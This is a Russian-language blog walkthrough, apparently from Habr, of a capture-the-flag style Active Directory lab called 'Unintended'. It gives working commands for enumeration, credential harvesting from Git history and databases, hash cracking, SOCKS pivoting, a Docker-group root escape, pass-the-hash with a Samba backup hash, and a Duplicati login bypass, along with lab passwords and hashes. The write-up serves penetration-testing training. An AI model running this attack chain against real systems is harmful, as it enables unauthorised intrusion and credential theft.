Компания Unintended недавно перевела свою инфраструктуру на Active Directory. Руководство обеспокоено тем, что устаревшие методы и упущенные из виду ошибки конфигурации могут сделать среду уязвимой для внешних угроз. Вашей фирме поручено провести тестирование на проникновение с целью определения, может ли злоумышленник перейти от первоначального доступа к полному контролю над доменом.
Unintended предоставляет практический опыт решения распространенных ошибок при развертывании Active Directory, демонстрируя, как злоумышленники могут переключаться между службами для повышения привилегий. Машина сочетает методы повышения привилегий в Linux с путями атак на Active Directory, что делает её ценной площадкой для практики как для специалистов по наступательной, так и по оборонительной безопасности.
Unintended предназначена для тех, кто хочет расширить свои знания об эксплуатации Active Directory в среде, ориентированной на Linux. Машина хорошо подходит для тех, кто хочет понять реальные ошибки конфигурации в гибридной инфраструктуре.
В этой лаборатории Red Team Operator уровня I игроки столкнутся со следующими темами:
— Перечисление резервных копий Active Directory
— Боковое перемещение
— Пивотинг
— Повышение привилегий в Linux
— Криминалистический анализ резервных копий
— Атаки на веб-приложения
По заданию нам даны 3 айпи адреса.
10.13.38.57
10.13.38.58
10.13.38.59
Проверим, что они доступны.
ping -c 1 10.13.38.57 | grep ttl
ping -c 1 10.13.38.58 | grep ttl
ping -c 1 10.13.38.59 | grep ttl

Просканируем порты на этих машинах.
sudo masscan -p1-65535,U:1-65535 10.13.38.57 —rate=500 -e tun0 > unintended.57
sudo masscan -p1-65535,U:1-65535 10.13.38.58 —rate=500 -e tun0 > unintended.58
sudo masscan -p1-65535,U:1-65535 10.13.38.59 —rate=500 -e tun0 > unintended.59



Теперь просканируем порты более подробно nmapом.
nmap -p22,53,88,135,139,389,445,464,636,3268,3269,49152,49153,49154 -sC -sV -oA nmap/unintended.57 10.13.38.57
nmap -p21,22 -sC -sV -oA nmap/unintended.58 10.13.38.58
nmap -p22,80 -sC -sV -oA nmap/unintended.59 10.13.38.59



Как видно из первого скана, наш домен называется unintended.vl, а имя машины dc.
Давайте добавим эту информацию в файл hosts.
sudo nano /etc/hosts

Если перейдем на веб сервис по адресу 10.13.38.59 то увидим следующую страницу.

Нас приветствует страница заглушка.
Проверим домен контроллер на нулевую аутентификацию.
netexec smb 10.13.38.57 -u » -p » —users
Или через RPC.
rpcclient -U » -N 10.13.38.57 -c enumdomusers | cut -d'[‘ -f2 | cut -d’]’ -f1

Нам доступны имена пользователей, давайте сохраним их в файл users.txt.
nano users.txt

Также nmap сказал нам, что включена анонимная привязка LDAP — отличный вектор перечисления.
Давайте перечислим LDAP.
ldapsearch -H ldap://dc.unintended.vl -x -LLL -s base

Получаем следующую информацию:
Домен — unintended.vl
Контроллер — dc.unintended.vl (компьютерная учётка: dc$)
Тип — Samba AD (не Windows)
Функциональный уровень —2008 R2 (уровень 4)
Аутентификация — NTLM, Kerberos (GSSAPI/SPNEGO)
Репликация — Включена, сервер — Global Catalog
Активность — Очень низкая (USN=4488)
LDAP Controls — Поддержка пагинации, запроса прав, шифрования
Доступные разделы — 5 контекстов (домен, конфигурация, схема, две DNS-зоны)
Мы можем перечислить общие ресурсы.
netexec smb 10.13.38.57 -u » -p » —shares

Есть общий ресурс home, но он нам пока недоступен.
Проверим пользователей на ASREProast.
impacket-GetNPUsers -usersfile users.txt unintended.vl/

Но нужных флагов не установлено.
Проведем фаззинг поддоменов.
ffuf -u http://10.13.38.59/ -H ‘Host: FUZZ.unintended.vl’ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac

Нашлось два домена, но сделаем ещё один тест с применением другой утилиты.
dnsenum —dnsserver 10.13.38.57 —enum -p 0 -s 0 -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt unintended.vl

Здесь на момент написания статьи у машины что-то с днс сервером, хотя масскан говорит, что порт открыт. Вывод должен быть таким.
P.S. Позже я разобрался, дело было в моем фаерволе, он почему-то начал блокировать 53 порт.

Пропишем новые поддомены в файл hosts.
sudo nano /etc/hosts

Перейдя по адресу нас встречает Gitea: Git with a cup of tea.

Перейдя в репозитории, видим, что Хуан имеет открытый репозиторий.

Также видим пользователей.

Походим по репозиториям и находим следующие коммиты.
http://code.unintended.vl/juan/DevOps/commit/7c54501b040a15a0e57beade1c8910609ec7c785

http://code.unintended.vl/juan/DevOps/commit/75f1f713696016f7713e33f836b05ce14784fc22

Попробуем подключиться с полученным учетными данными к ssh.
ssh ftp_user@web.unintended.vl

Нам дают подсказку — This service allows sftp connections only.
Подключимся по sftp как нам советуют.
sftp ftp_user@web.unintended.vl

Но на ftp ничего не находим.

Согласно разделу на HackTricks, служба SFTP может быть неправильно настроена, разрешая переадресацию портов и туннелирование, даже если она запрещает вход по SSH, что позволяет нам исследовать и получать доступ к внутренним портам и сетям.
Давайте настроим SOCKS-прокси:
ssh -D 1080 -N ftp_user@web.unintended.vl

Поправим конфиг proxychains4.
sudo nano /etc/proxychains4.conf

Теперь можем запустить nmap через прокси и просканировать порты.
sudo proxychains4 nmap -sT -Pn 127.0.0.1

На сервере открыт порт mysql – 3306.
Подключимся к серверу базы данных.
sudo proxychains4 mysql -h 127.0.0.1 -u root -p

Посмотрим базы данных.
show databases;

Нас будет интересовать база данных gitea.
Переходим в неё.
use gitea;

И смотрим таблицы.
show tables;

Нас интересует таблица пользователей users, извлечем информацию из неё.
select email,passwd,passwd_hash_algo,salt,is_admin from user;

Мы работаем с шифрованием pbkdf2$50000, со страницы hashcat можно узнать режим для брутфорса и правильный вид хеша.
10900PBKDF2-HMAC-SHA256 sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt
Преобразует полученные данные в нужный формат.
Для начала выпишем хеш и соль.
хеш — f57a3d5d199ac8054c709e665b4eb4842f0e172a253a96038be5ef9e6fe7b0290f2d715524883dd117ac309e878c1dbbe902
соль — 6f7cf4aa34feb922092ef9f7ca342fa5
Преобразуем соль в base64.
echo ‘6f7cf4aa34feb922092ef9f7ca342fa5’ | xxd -r -p | base64

Преобразуем хеш в base64.
echo ‘f57a3d5d199ac8054c709e665b4eb4842f0e172a253a96038be5ef9e6fe7b0290f2d715524883dd117ac309e878c1dbbe902’ | xxd -r -p | base64

Создадим файл для брута.
sudo nano administrator.gitea.hash

И брутим с использованием hashcat.
hashcat -m10900 administrator.gitea.hash rockyou.txt

Пароль успешно сбрутился, но если повторим для Хуана, нас ждем неудача.
С полученным паролем заходим в админку.
Перейдя в репозитории видим, что доступен новый репозиторий.

В истории команд находим пароль.
http://code.unintended.vl/juan/home-backup/src/branch/main/.bash_history

Проверим, что учетка валидная.
netexec smb 10.13.38.57 -u ‘juan’ -p ‘theJUANman2019’ —shares

Получим информацию о пользователе juan.
netexec ldap 10.13.38.57 -u ‘juan’ -p ‘theJUANman2019’ —query «(sAMAccountName=juan)»

Хуан принадлежит группе Web Developers.
netexec ldap 10.13.38.57 -u ‘juan’ -p ‘theJUANman2019’ —query «(sAMAccountName=abbie)» «»

Эбби состоит в группе Backup Operators.
Также можем перечислить компьютеры.
netexec ldap 10.13.38.57 -u ‘juan’ -p ‘theJUANman2019’ —query «(objectCategory=computer)» «»

Видно, что у нас три компьютера в домене.
Подключаемся под Хуаном, осматриваемся и забираем первый флаг.
ssh -l juan@unintended.vl web.unintended.vl


Никаких привилегий sudo нет.

Поэтому переключимся на Mattermost.
sudo proxychains4 nmap -sT -Pn 127.0.0.1 -p8065

Не забываем правильно настроить FoxyProxy.

Заходим в Mattermost под учеткой Хуана находим следующую переписку.

Кроме упоминания о пароле находим информацию, что в работе есть база данных PostgreSQL, которая работает в докере.

Поищем эту базу данных.
ps aux | grep postgres

sudo proxychains4 nmap 172.18.0.3 -p5432 -Pn -sT
Порт открыт, значит можем подключаться.
sudo proxychains4 psql -h 172.18.0.3 -d mattermost -U mmuser
Сверясь с документацией https://github.com/mattermost/docker/blob/main/env.example можем узнать имя и пароль к базе данных.


Извлекаем нужные нам данные.
SELECT username,password,authdata,authservice,email,nickname,firstname,lastname,roles FROM users;

У нас есть три хеша, сохраним их в файл.
nano hashes.txt

Узнаем тип хеша.
hashid hashes.txt

Вспоминая подсказку из чата как должен выглядеть пароль создаем словарь с использованием cook.
go install -v github.com/glitchedgitz/cook/v2/cmd/cook@latest
/home/kali/go/bin/cook abbie,spencer,Abbie,Spencer,theabbs 1920-2024 > abbie.wordlist
И запускаем hashcat.
hashcat -m3200 hashes.txt abbie.wordlist

Снова зайдем в Mattermost, но уже под новой учеткой, найдем переписку и получим новый пароль.

Проверим учетку.
netexec smb 10.13.38.57 -u abbie -p ‘Hiu8sy8SA8h2’ —shares

Подключаемся к серверу.
ssh -l abbie@unintended.vl backup.unintended.vl
Эбби состоит в группе Docker, что позволяет легко получить права root на хосте, смонтировав корневую файловую систему в контейнере.

Посмотрим образы.

docker run -v /:/mnt —rm -it python:3.11.2-slim chroot /mnt sh

Забираем второй флаг.

В домашней папке находим папку scripts.

Посмотрим файл server.py.
cat server.py

Получаем логин и пароль для ftp сервера.
Подключаемся к ftp серверу.
Переходим в папку с бэкапов домена.

И загружаем бэкап самбы.

Распаковываем полученный файл.
tar -xvjf samba-backup-2024-02-17T20-32-13.580437.tar.bz2

Установим нужные инструменты для работы с самбой.
sudo apt install ldb-tools -y
sudo apt install samba-dsdb-modules -y

Ищем хеш в базе данных.
ldbsearch -H private/sam.ldb ‘(objectClass=user)’ sAMAccountName ‘unicodepwd’

Согласно документации хеш ещё нужно декодировать.
https://samba.tranquil.it/doc/en/samba_fundamentals-about_password_hash.html
python3 -c «import codecs, binascii; print(binascii.hexlify(codecs.decode(b’Nv4kHqDqpTPV+si9f7b4ow==’, ‘base64’)).decode())»

Проверим полученный хеш на домене.
netexec smb 10.13.38.57 -u Administrator -H 36fe241ea0eaa533d5fac8bd7fb6f8a3

Учётка работает, посмотрим теперь шары к которым не было доступа.
netexec smb 10.13.38.57 -u Administrator -H 36fe241ea0eaa533d5fac8bd7fb6f8a3 —shares

Теперь шара доступа на запись и чтение, подключимся к ней и заберем флаг.
netexec smb 10.13.38.57 -u Administrator -H 36fe241ea0eaa533d5fac8bd7fb6f8a3 —spider home —pattern txt

Получаем третий флаг.

Мы собрали три флага, остался последний четвертый, вернемся на backup сервер и переключимся в докер.
docker exec -it scripts_ftp_1 bash

Перейдем в папку volumes.
cd volumes

Посмотри файлы в папку docker_src.
ls docker_src/

Здесь лежат бэкапы, нам нужно упаковать их и забрать себе на kali, сначала запакуем файлы.
tar -zcf docker_src.tar.gz docker_src/

Выйдем из контейнера и скопируем файлы из контейнера на бэкап сервер.
exit

Перенесем файл в папку /tmp.

Скопируем файл себе на kali и разархивируем.
scp abbie@unintended.vl@backup.unintended.vl:/tmp/docker_src.tar.gz .

sudo tar -zxvf docker_src.tar.gz

Загружаем три скрипта для работы с duplicati.

Создаем папку restore, там будут лежать восстановленные данные.
mkdir restore

Запускаем скрипт восстановления, предварительно изменив права на docker_src.
sudo chown kali:kali docker_src
sudo chmod 777 docker_src
python3 restore_from_python.py

Будет много ошибок и это займет достаточно времени.


Проверим папки, должно быть так.
ls restore/source/root/scripts/

Проверим базу данных.
tree restore/source/root/scripts/duplicati

И начинаем работать с базой данных.
sqlite3 restore/source/root/scripts/duplicati/config/Duplicati-server.sqlite

Запросим таблицы.

Нам нужна таблица с опциями.
select * from Option;

Теперь у нас есть пасс-фраза.
Сейчас нам нужно провести атаку на Duplicati, полный разбор которой находится здесь — https://read.martiandefense.org/duplicati-bypassing-login-authentication-with-server-passphrase-024d6991e9ee, но мы воспользуемся скриптом.


Приводим данные к такому виду.

Подменяем эти параметры в Storage и перелогиневаемся.


Создаем новое задание для бэкапа.

Даём имя заданию и выключаем шифрование.
К сожалению здесь сработал лимит на картинки и дальше пойдет только текст. Красивый ПДФ можно забрать у меня на канале — https://t.me/yashechka85
Выбираем папку назначения для бэкапа.
Выбираем, что мы будем бэкапить.
В шедулере выставляем все дни.
Сохраняем задание.
Теперь запускаем задание.
Проверяем папку /tmp/flag/.
И сделаем восстановление файлов.
Вводим путь.
И делаем синхронизацию.
И забираем последний флаг.
Всем флаги захвачены, поздравляю с получением ещё одного сертификата.
ссылка на оригинал статьи https://habr.com/ru/articles/1041376/